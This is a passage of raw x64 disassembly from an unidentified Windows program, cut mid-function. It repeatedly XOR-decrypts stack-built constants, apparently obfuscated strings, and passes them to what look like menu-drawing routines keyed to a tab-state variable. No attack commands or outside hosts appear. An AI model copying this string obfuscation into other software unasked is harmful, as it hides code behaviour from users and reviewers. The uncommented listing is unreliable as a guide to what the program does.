mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1bb0], rax
movabs rax, 0xab8655f473faa520
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1bb8], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1bc0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1bc8], rax
movdqa xmm0, xmmword [rbp + 0x1bb0]
xorps xmm0, xmmword [rbp + 0x1bc0]
movdqa xmmword [rbp + 0x1bb0], xmm0
lea rdx, [0x140387190]
lea rcx, [rbp + 0x1bb0]
call fcn.140032240
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5aca6d3a3c2c04c3
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1bd0], rax
movabs rax, 0xabe148ee74e5b312
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1bd8], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1be0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1be8], rax
movdqa xmm0, xmmword [rbp + 0x1bd0]
xorps xmm0, xmmword [rbp + 0x1be0]
movdqa xmmword [rbp + 0x1bd0], xmm0
lea rdx, [0x14038e96c]
lea rcx, [rbp + 0x1bd0]
call fcn.140032240
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1595335b3c0235da
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1bf0], rax
movabs rax, 0xabe13b9d72fba336
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1bf8], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c00], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c08], rax
movdqa xmm0, xmmword [rbp + 0x1bf0]
xorps xmm0, xmmword [rbp + 0x1c00]
movdqa xmmword [rbp + 0x1bf0], xmm0
lea rdx, [0x140387193]
lea rcx, [rbp + 0x1bf0]
call fcn.140032240
call fcn.140016b70
cmp dword [0x14038e7a0], 9
jne 0x140050c98
call fcn.140012a00
mov rsi, rax
mov dword [rsp + 0x20], 0xff
mov edx, reloc.WS2_32.dll_recv
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1c10]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov edi, eax
movss xmm2, dword [0x14014e164]
movss xmm1, dword [0x14014e06c]
lea rcx, [rbp + 0x850]
call fcn.1400014d0
mov rbx, rax
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rbp + 0x858]
call fcn.1400014d0
mov dword [rsp + 0x28], r14d
movss dword [rsp + 0x20], xmm14
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.140023b20
movss xmm0, dword [0x14014e034]
movaps xmm2, xmm0
movaps xmm1, xmm0
lea rcx, [rbp + 0x860]
call fcn.1400014d0
mov rcx, rax
call fcn.140016720
call fcn.140016a10
mov rcx, qword [rbp + 0x210]
call fcn.140012420
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x868]
call fcn.1400014d0
cmp dword [0x14038e7a0], 3
sete cl
mov r8, rax
lea rdx, [0x140147738]
call fcn.140032fc0
test al, al
je 0x14004f731
mov dword [0x14038e7a0], 3
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x870]
call fcn.1400014d0
cmp dword [0x14038e7a0], 4
sete cl
mov r8, rax
lea rdx, [0x14014773c]
call fcn.140032fc0
test al, al
je 0x14004f76c
mov dword [0x14038e7a0], 4
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x878]
call fcn.1400014d0
cmp dword [0x14038e7a0], 5
sete cl
mov r8, rax
lea rdx, [0x140147740]
call fcn.140032fc0
test al, al
je 0x14004f7a7
mov dword [0x14038e7a0], 5
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x880]
call fcn.1400014d0
cmp dword [0x14038e7a0], 6
sete cl
mov r8, rax
lea rdx, [0x140147744]
call fcn.140032fc0
test al, al
je 0x14004f7e2
mov dword [0x14038e7a0], 6
movaps xmm2, xmm15
movaps xmm1, xmm15
lea rcx, [rbp + 0x888]
call fcn.1400014d0
cmp dword [0x14038e7a0], 7
sete cl
mov r8, rax
lea rdx, [0x140147748]
call fcn.140032fc0
test al, al
je 0x14004f81d
mov dword [0x14038e7a0], 7
call fcn.1400124c0
call fcn.140016b70
movss xmm2, dword [0x14014e028]
movss xmm1, dword [0x14014e084]
lea rcx, [rbp + 0x890]
call fcn.1400014d0
mov rcx, rax
call fcn.140016720
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rbp + 0x898]
call fcn.1400014d0
mov r8, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7afa2f6971133bd9
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1c20], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1c28], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c30], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c38], rax
movdqa xmm0, xmmword [rbp + 0x1c20]
xorps xmm0, xmmword [rbp + 0x1c30]
movdqa xmmword [rbp + 0x1c20], xmm0
cmp dword [0x14038e7a0], 4
sete cl
xor r9d, r9d
lea rdx, [rbp + 0x1c20]
call fcn.140036120
test al, al
je 0x14004f8f1
mov dword [0x14038e7a0], 4
movss xmm1, dword [0x14014e18c]
movaps xmm0, xmm14
call fcn.140016670
movss xmm1, dword [0x14014e18c]
movaps xmm0, xmm14
call fcn.140016670
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rbp + 0x8a0]
call fcn.1400014d0
mov r8, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7afa4308552711c2
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1c40], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1c48], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c50], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c58], rax
movdqa xmm0, xmmword [rbp + 0x1c40]
xorps xmm0, xmmword [rbp + 0x1c50]
movdqa xmmword [rbp + 0x1c40], xmm0
cmp dword [0x14038e7a0], 8
sete cl
xor r9d, r9d
lea rdx, [rbp + 0x1c40]
call fcn.140036120
test al, al
je 0x14004f9b9
mov dword [0x14038e7a0], 8
movss xmm1, dword [0x14014e18c]
movaps xmm0, xmm14
call fcn.140016670
movss xmm1, dword [0x14014e18c]
movaps xmm0, xmm14
call fcn.140016670
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rbp + 0x8a8]
call fcn.1400014d0
mov r8, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7afa43081c2812d2
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1c60], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1c68], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c70], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c78], rax
movdqa xmm0, xmmword [rbp + 0x1c60]
xorps xmm0, xmmword [rbp + 0x1c70]
movdqa xmmword [rbp + 0x1c60], xmm0
cmp dword [0x14038e7a0], 9
sete cl
xor r9d, r9d
lea rdx, [rbp + 0x1c60]
call fcn.140036120
test al, al
je 0x14004fa81
mov dword [0x14038e7a0], 9
call fcn.140012a00
mov rsi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x46
lea rcx, [rbp + 0x1c80]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov edi, eax
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e0b8]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e140]
lea rcx, [rbp + 0x8b0]
call fcn.1400014d0
mov rbx, rax
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e054]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e07c]
lea rcx, [rbp + 0x8b8]
call fcn.1400014d0
movss xmm0, dword [0x14014dfb0]
movss dword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], r14d
movss xmm0, dword [0x14014dfcc]
movss dword [rsp + 0x20], xmm0
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.140023a40
movss xmm2, dword [0x14014e060]
movss xmm1, dword [0x14014e08c]
lea rcx, [rbp + 0x8c0]
call fcn.1400014d0
mov rcx, rax
call fcn.140016720
call fcn.140016a10
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5ac0307d680020c4
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1c90], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1c98], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ca0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ca8], rax
movdqa xmm0, xmmword [rbp + 0x1c90]
xorps xmm0, xmmword [rbp + 0x1ca0]
movdqa xmmword [rbp + 0x1c90], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1cb0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e060]
movss xmm1, dword [0x14014e09c]
lea rcx, [rbp + 0x8c8]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x1c90]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xe99267c79053ac2
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1cc0], rcx
movabs rax, 0xabe13b9d1595ae35
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1cc8], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1cd0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1cd8], rax
movdqa xmm0, xmmword [rbp + 0x1cd0]
xorps xmm0, xmmword [rbp + 0x1cc0]
movdqa xmmword [rbp + 0x1cc0], xmm0
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1ce0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e060]
movss xmm1, dword [0x14014e0c4]
lea rcx, [rbp + 0x8d0]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x1cc0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
mov rsi, qword [rbp + 0x178]
mov rcx, rsi
call fcn.140012420
movss xmm2, dword [0x14014e064]
movss xmm1, dword [0x14014e08c]
lea rcx, [rbp + 0x8d8]
call fcn.1400014d0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1cf0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1d00]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov qword [rsp + 0x20], rdi
movss xmm3, dword [0x14014e040]
mov r8d, ebx
mov edx, eax
lea rcx, [0x14014778c]
call fcn.140031f60
call fcn.1400124c0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1e8a1628681235db
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1d10], rcx
movabs rax, 0xabe13bbd2ff0be31
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1d18], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d20], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d28], rax
movdqa xmm0, xmmword [rbp + 0x1d10]
xorps xmm0, xmmword [rbp + 0x1d20]
movdqa xmmword [rbp + 0x1d10], xmm0
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1d30]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e070]
movss xmm1, dword [0x14014e09c]
lea rcx, [rbp + 0x8e0]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x1d10]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x48ca712724507ba1
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1d40], rcx
movabs rax, 0xabe13b9d1595ca64
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1d48], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d50], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d58], rax
movdqa xmm0, xmmword [rbp + 0x1d40]
xorps xmm0, xmmword [rbp + 0x1d50]
movdqa xmmword [rbp + 0x1d40], xmm0
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1d60]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e070]
movss xmm1, dword [0x14014e0e0]
lea rcx, [rbp + 0x8e8]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x1d40]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
mov rcx, rsi
call fcn.140012420
movss xmm2, dword [0x14014e074]
movss xmm1, dword [0x14014e08c]
lea rcx, [rbp + 0x8f0]
call fcn.1400014d0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1d70]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1d80]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov qword [rsp + 0x20], rdi
movss xmm3, dword [0x14014e040]
mov r8d, ebx
mov edx, eax
lea rcx, [0x14014778c]
call fcn.140031f60
call fcn.1400124c0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xfa9637b790c35d0
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2880], rcx
movabs rax, 0x91855ee967faba20
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2888], rcx
movabs rax, 0xce5c620a59692ba1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2890], rax
movabs rcx, 0xf90d78d79683203a
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2898], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x28a0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x28a8], rax
movabs rax, 0xce5c620a59692b81
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x28b0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x28b8], rax
vmovdqu ymm0, ymmword [rbp + 0x2880]
vpxor ymm1, ymm0, ymmword [rbp + 0x28a0]
vmovdqa ymmword [rbp + 0x2880], ymm1
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x1d90]
vzeroupper
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e08c]
movss xmm1, dword [0x14014e09c]
lea rcx, [rbp + 0x8f8]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x2880]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1f97224f3c0d38d6
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1da0], rcx
movabs rax, 0xabe13b9d1595ca23
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1da8], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1db0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1db8], rax
movdqa xmm0, xmmword [rbp + 0x1da0]
xorps xmm0, xmmword [rbp + 0x1db0]
movdqa xmmword [rbp + 0x1da0], xmm0
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1dc0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e08c]
movss xmm1, dword [0x14014e104]
lea rcx, [rbp + 0x900]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x1da0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm7
mov rdx, qword [0x14038e858]
mov rcx, rdi
call fcn.140023de0
mov rcx, rsi
call fcn.140012420
movss xmm2, dword [0x14014e090]
movss xmm7, dword [0x14014e08c]
movaps xmm1, xmm7
lea rcx, [rbp + 0x908]
call fcn.1400014d0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1dd0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1de0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov qword [rsp + 0x20], rdi
movss xmm3, dword [0x14014e040]
mov r8d, ebx
mov edx, eax
lea rcx, [0x14014778c]
call fcn.140031f60
call fcn.1400124c0
mov rcx, rsi
call fcn.140012420
movss xmm2, dword [0x14014e090]
movaps xmm1, xmm7
lea rcx, [rbp + 0x910]
call fcn.1400014d0
mov rdi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1df0]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1e00]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov qword [rsp + 0x20], rdi
movss xmm3, dword [0x14014e040]
mov r8d, ebx
mov edx, eax
lea rcx, [0x14014778c]
call fcn.140031f60
call fcn.1400124c0
call fcn.140016b70
call fcn.140012a00
mov rsi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x46
lea rcx, [rbp + 0x1e10]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov edi, eax
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e140]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e140]
lea rcx, [rbp + 0x918]
call fcn.1400014d0
mov rbx, rax
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e0dc]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e07c]
lea rcx, [rbp + 0x920]
call fcn.1400014d0
movss xmm0, dword [0x14014dfb0]
movss dword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], r14d
movss xmm0, dword [0x14014dfcc]
movss dword [rsp + 0x20], xmm0
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.140023a40
movss xmm2, dword [0x14014e0ec]
movss xmm7, dword [0x14014e084]
movaps xmm1, xmm7
lea rcx, [rbp + 0x928]
call fcn.1400014d0
mov rcx, rax
call fcn.140016720
call fcn.140016a10
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5a8e3169681231c5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x28c0], rax
movabs rax, 0xd9844ffb54b58900
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x28c8], rax
movabs rax, 0xce5c0465361978a1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x28d0], rax
movabs rbx, 0xf90d78d79683203a
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x28d8], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x28e0], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x28e8], rax
movabs rdi, 0xce5c620a59692b81
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x28f0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x28f8], rax
vmovdqu ymm0, ymmword [rbp + 0x28c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x28e0]
vmovdqa ymmword [rbp + 0x28c0], ymm1
lea rdx, [0x1403870cd]
lea rcx, [rbp + 0x28c0]
vzeroupper
call fcn.140032240
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x149305286b0e3cc4
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2900], rax
movabs rax, 0xceac1bf970fdb939
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2908], rax
movabs rax, 0xce5c626f3e0858f2
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2910], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2918], rax
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2920], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2928], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2930], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2938], rax
vmovdqu ymm0, ymmword [rbp + 0x2900]
vpxor ymm1, ymm0, ymmword [rbp + 0x2920]
vmovdqa ymmword [rbp + 0x2900], ymm1
lea rdx, [0x1403870ce]
lea rcx, [rbp + 0x2900]
vzeroupper
call fcn.140032240
call fcn.140016b70
movss xmm2, dword [0x14014e12c]
movaps xmm1, xmm7
lea rcx, [rbp + 0x930]
call fcn.1400014d0
mov rcx, rax
call fcn.140016720
movss xmm2, dword [0x14014e030]
movss xmm1, dword [0x14014e0cc]
lea rcx, [rbp + 0x938]
call fcn.1400014d0
mov rdx, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x1396227d68133dc1
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1e20], rcx
movabs rax, 0xabe13b9d1595af2a
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1e28], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e30], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e38], rax
movdqa xmm0, xmmword [rbp + 0x1e20]
xorps xmm0, xmmword [rbp + 0x1e30]
movdqa xmmword [rbp + 0x1e20], xmm0
lea rcx, [rbp + 0x1e20]
call fcn.140031280
test al, al
je 0x14005077e
mov dword [0x14038e7a0], 0xc
call fcn.140012a00
mov rsi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x46
lea rcx, [rbp + 0x1e40]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov edi, eax
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e0b8]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e160]
lea rcx, [rbp + 0x940]
call fcn.1400014d0
mov rbx, rax
movss xmm2, dword [rbp + 0x1bc]
addss xmm2, dword [0x14014e054]
movss xmm1, dword [rbp + 0x1b8]
addss xmm1, dword [0x14014e144]
lea rcx, [rbp + 0x948]
call fcn.1400014d0
movss xmm7, dword [0x14014dfb0]
movss dword [rsp + 0x30], xmm7
mov dword [rsp + 0x28], r14d
movss xmm0, dword [0x14014dfcc]
movss dword [rsp + 0x20], xmm0
mov r9d, edi
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.140023a40
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x7afa43081c6154d3
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1e50], rcx
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1e58], rcx
mov qword [rbp + 0x10], r15
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e60], rax
mov qword [rbp + 0x10], r13
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e68], rax
movdqa xmm0, xmmword [rbp + 0x1e50]
xorps xmm0, xmmword [rbp + 0x1e60]
movdqa xmmword [rbp + 0x1e50], xmm0
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x64
lea rcx, [rbp + 0x1e70]
call fcn.14002fbd0
mov rcx, rax
call fcn.14002fc20
mov ebx, eax
movss xmm2, dword [0x14014e048]
movss xmm1, dword [0x14014e144]
lea rcx, [rbp + 0x950]
call fcn.1400014d0
mov qword [rsp + 0x40], r14
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x1e50]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov r9, rax
movaps xmm2, xmm6
mov rdx, qword [0x14038e860]
mov rcx, rdi
call fcn.140023de0
call fcn.140012a00
mov rdi, rax
xor eax, eax
mov byte [rbp], al
